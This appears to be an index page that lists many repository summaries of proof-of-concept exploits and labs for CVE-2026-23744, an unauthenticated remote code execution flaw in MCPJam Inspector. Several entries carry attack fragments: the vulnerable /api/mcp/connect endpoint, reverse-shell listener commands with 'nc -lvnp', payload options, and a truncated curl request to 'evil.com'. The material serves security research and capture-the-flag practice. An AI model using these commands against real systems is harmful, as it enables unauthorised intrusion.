CVE-2026-23744-PoC

CVE-2026-23744-PoC Disclaimer: This proof-of-concept is provided exclusively for authorised security research, educational purposes, and controlled lab environments e.g., HTB, CTF, or internal penetration testing with explicit written consent. Unauthorised use against any system without permissio...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Remote Code Execution on MCPJam Inspector Reference https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept POC MCPJam inspector 3. Run the exploit python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab This repo is a tiny Docker lab to compare a vulnerable vs patched build of MCPJam Inspector for CVE-2026-23744. It’s meant for learning and for building a public security portfolio: quick setup, clear evidence, and screenshots. ⚠️ Ethics / scope : Only...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector is a local-first development platform for MCP servers. In versions 1.4.2 and earlier, a RCE flaw lets attackers send crafted HTTP request that installs an MCP server and runs code remotely, because the service listens on 0.0.0.0 instead of 127.0.0.1 by...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE in MCPJam inspector = 1.4.2 Vulnerability details https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Usage usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message an...

CVE-2026-23744-POC

Description This vulnerability exists because MCPJam Inspector exposes internal API endpoints intended for debugging and development. These endpoints accept user-controlled input and pass it directly to system-level process execution without proper validation or sanitization. By sending a crafted...

CVE-2026-23744

CVE-2026-23744 – Proof of Concept The Python script in this PoC sends a simple HTTP request to the target host running MCPJam inspector version replace with your listening port Then, open another shell, and run the PoC: cd CVE-2026-23744 python3 exploit.py References REC in MCPJam inspector due t...

CVE-2026-23744

CVE-2026-23744 Exploit to MCPJam Inspector Install libraries with: pip install -r requirements.txt - use python CVE-2026-23744 --help to info MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code...

CVE-2026-23744-script

A script for CVE-2026-23744, which exploits MCPJam Inspector versions = 1.4.2. Based off the curl command used here: https://github.com/advisories/GHSA-232v-j27c-5pp6 Make sure your /etc/hosts file is correct and points to the domain/vhost of the target...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...

CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance nmap -sC -sV devhub.htb Result: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Edit Hosts File...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: /api/mcp/connect method via curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE While analyzing this vulnerability, I discovered that MCPJam Inspector exposed the /api/mcp/connect endpoint to the network by binding to 0.0.0.0. This endpoint accepts a JSON object containing serverConfig, including the fields command and args. The application...